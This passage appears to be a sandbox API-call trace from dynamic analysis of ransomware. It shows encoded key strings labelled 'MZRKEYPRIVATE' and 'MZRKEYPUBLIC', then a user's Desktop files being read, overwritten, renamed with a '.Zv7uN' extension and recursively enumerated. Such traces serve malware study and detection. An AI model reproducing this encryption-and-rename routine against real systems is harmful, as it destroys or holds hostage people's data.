lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.519] GetCurrentThreadId () returned 0xa30 [0127.519] GetCurrentThreadId () returned 0xa30 [0127.519] GetCurrentThreadId () returned 0xa30 [0127.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.520] GetCurrentThreadId () returned 0xa30 [0127.520] GetCurrentThreadId () returned 0xa30 [0127.521] GetCurrentThreadId () returned 0xa30 [0127.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\ZYdqwrH.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\zydqwrh.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.521] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0127.521] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.521] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x62c1 [0127.521] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0127.521] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x62c1, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f3d4*=0x62c1, lpOverlapped=0x0) returned 1 [0127.524] CloseHandle (hObject=0x1e8) returned 1 [0127.524] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\ZYdqwrH.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\zydqwrh.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0127.527] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f2f460*, nNumberOfBytesToWrite=0x62c1, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f2f460*, lpNumberOfBytesWritten=0x18f3e0*=0x62c1, lpOverlapped=0x0) returned 1 [0127.530] CloseHandle (hObject=0x1e8) returned 1 [0127.530] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\ZYdqwrH.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\zydqwrh.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\ZYdqwrH.pps.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\zydqwrh.pps.zv7un")) returned 1 [0127.531] GetCurrentThreadId () returned 0xa30 [0127.531] GetCurrentThreadId () returned 0xa30 [0127.531] GetCurrentThreadId () returned 0xa30 [0127.531] GetCurrentThreadId () returned 0xa30 [0127.531] GetCurrentThreadId () returned 0xa30 [0127.531] GetCurrentThreadId () returned 0xa30 [0127.531] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0b36320, ftCreationTime.dwHighDateTime=0x1d5dae7, ftLastAccessTime.dwLowDateTime=0x927c7b00, ftLastAccessTime.dwHighDateTime=0x1d5dd3e, ftLastWriteTime.dwLowDateTime=0x927c7b00, ftLastWriteTime.dwHighDateTime=0x1d5dd3e, nFileSizeHigh=0x0, nFileSizeLow=0x62c1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZYdqwrH.pps", cAlternateFileName="")) returned 0 [0127.531] GetLastError () returned 0x12 [0127.531] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0127.532] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95c8a2b0, ftCreationTime.dwHighDateTime=0x1d5d8b2, ftLastAccessTime.dwLowDateTime=0x60aab360, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60aab360, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0127.532] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0127.532] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.532] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95c8a2b0, ftCreationTime.dwHighDateTime=0x1d5d8b2, ftLastAccessTime.dwLowDateTime=0x60aab360, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x60aab360, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0127.532] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.532] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.532] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabb3ae0, ftCreationTime.dwHighDateTime=0x1d5d9b8, ftLastAccessTime.dwLowDateTime=0x8a4e2be0, ftLastAccessTime.dwHighDateTime=0x1d5e180, ftLastWriteTime.dwLowDateTime=0x60908440, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x138f5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7Avvg.wav.Zv7uN", cAlternateFileName="7AVVGW~1.ZV7")) returned 1 [0127.532] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.532] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.532] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x751f8c40, ftCreationTime.dwHighDateTime=0x1d5dae7, ftLastAccessTime.dwLowDateTime=0x7f883d00, ftLastAccessTime.dwHighDateTime=0x1d5db71, ftLastWriteTime.dwLowDateTime=0x60954700, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x157ea, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="d9jSeF1 JpcT7qj6px3H.m4a.Zv7uN", cAlternateFileName="D9JSEF~1.ZV7")) returned 1 [0127.532] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.532] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.533] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x528327f0, ftCreationTime.dwHighDateTime=0x1d5dd35, ftLastAccessTime.dwLowDateTime=0xdc4b6a90, ftLastAccessTime.dwHighDateTime=0x1d5e4f8, ftLastWriteTime.dwLowDateTime=0x6097a860, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x11984, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="N8umJoiWNw2WcG.bmp.Zv7uN", cAlternateFileName="N8UMJO~1.ZV7")) returned 1 [0127.533] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.533] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.533] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbb76b0, ftCreationTime.dwHighDateTime=0x1d5e7f2, ftLastAccessTime.dwLowDateTime=0x46afa6a0, ftLastAccessTime.dwHighDateTime=0x1d5e53d, ftLastWriteTime.dwLowDateTime=0x60a12de0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x18c5f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="pjTOi.m4a.Zv7uN", cAlternateFileName="PJTOIM~1.ZV7")) returned 1 [0127.533] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.533] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.533] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad316a0, ftCreationTime.dwHighDateTime=0x1d5e74f, ftLastAccessTime.dwLowDateTime=0x674b2dc0, ftLastAccessTime.dwHighDateTime=0x1d5e232, ftLastWriteTime.dwLowDateTime=0x60a5f0a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x5aba, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="sXOzIu2 q.docx.Zv7uN", cAlternateFileName="SXOZIU~1.ZV7")) returned 1 [0127.533] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.533] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.533] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86074800, ftCreationTime.dwHighDateTime=0x1d5ddde, ftLastAccessTime.dwLowDateTime=0xa51d8490, ftLastAccessTime.dwHighDateTime=0x1d5d7e7, ftLastWriteTime.dwLowDateTime=0x60a85200, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x152fb, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="upgu6XAw0nd8_3Lb5i.jpg.Zv7uN", cAlternateFileName="UPGU6X~1.ZV7")) returned 1 [0127.533] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.533] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.533] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdaf520c0, ftCreationTime.dwHighDateTime=0x1d5e334, ftLastAccessTime.dwLowDateTime=0xba371810, ftLastAccessTime.dwHighDateTime=0x1d5dd2c, ftLastWriteTime.dwLowDateTime=0xba371810, ftLastWriteTime.dwHighDateTime=0x1d5dd2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="xeOnABdo_Zx4RoO-", cAlternateFileName="XEONAB~1")) returned 1 [0127.533] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0127.533] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.534] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdaf520c0, ftCreationTime.dwHighDateTime=0x1d5e334, ftLastAccessTime.dwLowDateTime=0xba371810, ftLastAccessTime.dwHighDateTime=0x1d5dd2c, ftLastWriteTime.dwLowDateTime=0xba371810, ftLastWriteTime.dwHighDateTime=0x1d5dd2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0127.534] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdaf520c0, ftCreationTime.dwHighDateTime=0x1d5e334, ftLastAccessTime.dwLowDateTime=0xba371810, ftLastAccessTime.dwHighDateTime=0x1d5dd2c, ftLastWriteTime.dwLowDateTime=0xba371810, ftLastWriteTime.dwHighDateTime=0x1d5dd2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0127.534] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c1640d0, ftCreationTime.dwHighDateTime=0x1d5e1ff, ftLastAccessTime.dwLowDateTime=0xe6cdc0b0, ftLastAccessTime.dwHighDateTime=0x1d5e478, ftLastWriteTime.dwLowDateTime=0xe6cdc0b0, ftLastWriteTime.dwHighDateTime=0x1d5e478, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="-a4wrI", cAlternateFileName="")) returned 1 [0127.534] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabbfc420, ftCreationTime.dwHighDateTime=0x1d5d945, ftLastAccessTime.dwLowDateTime=0xa78cf860, ftLastAccessTime.dwHighDateTime=0x1d5e655, ftLastWriteTime.dwLowDateTime=0xa78cf860, ftLastWriteTime.dwHighDateTime=0x1d5e655, nFileSizeHigh=0x0, nFileSizeLow=0x14f27, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ed8NK4 c28hD0L1A.jpg", cAlternateFileName="ED8NK4~1.JPG")) returned 1 [0127.534] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0127.534] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.534] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\ed8NK4 c28hD0L1A.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\ed8nk4 c28hd0l1a.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabbfc420, ftCreationTime.dwHighDateTime=0x1d5d945, ftLastAccessTime.dwLowDateTime=0xa78cf860, ftLastAccessTime.dwHighDateTime=0x1d5e655, ftLastWriteTime.dwLowDateTime=0xa78cf860, ftLastWriteTime.dwHighDateTime=0x1d5e655, nFileSizeHigh=0x0, nFileSizeLow=0x14f27)) returned 1 [0127.534] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\ed8NK4 c28hD0L1A.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\ed8nk4 c28hd0l1a.jpg")) returned 0x20 [0127.534] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\ed8NK4 c28hD0L1A.jpg", dwFileAttributes=0x80) returned 1 [0127.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnD